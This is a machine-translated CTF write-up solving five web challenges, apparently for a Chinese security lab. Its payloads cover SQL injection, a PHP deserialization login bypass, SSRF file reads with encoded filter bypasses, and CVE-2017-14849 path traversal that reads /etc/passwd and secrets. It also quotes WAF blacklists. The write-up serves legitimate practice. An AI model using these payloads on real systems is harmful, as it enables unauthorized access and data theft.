Dear, follow me
11/13
Article 2983 words in total
Expected to read 10 minutes
Come and read with me
本文涉及知识点靶场练习:
CTF实验室
文末阅读原文或者复制链接即可操作
https://www.hetianlab.com/pages/CTFLaboratory.jsp&pk_campaign=weixin-wemedia
Web
0x01 easy_sql
At first, I saw that it was easysql, so I went to sqlmap and ran it. The database name security and several table names ran out.
Continue to run the flag, the result did not run out, and finally it was manual.
The test input a single quotation mark, the page does not respond, but an error message is found in the source code
Then I closed it with single quotation marks and parentheses, reported an error and injected it. Then I thought about why the page did not show up. It turned out that the error message was displayed in white. I was deceived for a long time in the early stage. You can see it with a mouse click.
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
0x02 ezsqli
Open an input box
View hint to get the source code
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
Password is filtered, usename is not filtered, use joint query, construct username and password to return admin
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
0x03 warmup
Download the source code and start the audit. Unserialize was found in index.php, which is probably to investigate the use of deserialization
···
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···
conn.php source code
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
You can see that there is a flag output point in check_login, provided that we need to fake the admin user
Continue to look down, there is a place to execute SQL statements
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
There is also a waf below. I took a look and found that the characters used in the universal password we need to construct will not be banned
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
So here we can use SQL injection to become admin login, username is changed to admin, password is universal password a'or '1'='1, the code is as follows:
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,
输入之后获得flag
0x04 ssrfME
When you visit, you can see that there are two input points, one for url and one for verification code
Script blasting verification
<?php
for ($i=0; $i < 1000000000; $i++) {
$a = substr(md5($i), -6, 6); if ($a == "d17b5b") { echo $i; break; }
}
?>
Try to use the file protocol to read and find that /etc/passwd is successfully read
Read /flag, but failed, try to read /var/www/html/index.php, get the source code, it turns out that a waf filters the flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
···
The file protocol reads the flag and uses two url encoding flags to bypass
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
0x05 SecretGuess
The title is given to the source code, but not complete
Found the source in index.html, click to see the source code
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => { res.render("index")
})
app.post('/', (req, res) => { if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) { res.render("index", {result: process.execSync("echo $FLAG")}) } else { res.render("index", {result: "wrong secret"}) }
})
app.get('/source', (req, res) => { res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");
In the given dockerfile, the file content is
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js
To search for related content, I found that there may be a CVE-2017-14849 vulnerability
Enter /static/../../a/../../..//etc/passwd, the use is successful
Then go to get the secret, /static/../../a/../../../usr/local/app/.env, get secret=CVE-2017-14849
According to the conditions in the source code
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
We encrypt CVE-2017-14849 with md5 and submit it to get the flag, auth=10523ece56c1d399dae057b3ac1ad733
11/13
Contributions are welcome to email: [email protected]
Talented, come and submit your paper!
Stamp "Read the original text" to get the same ctf experience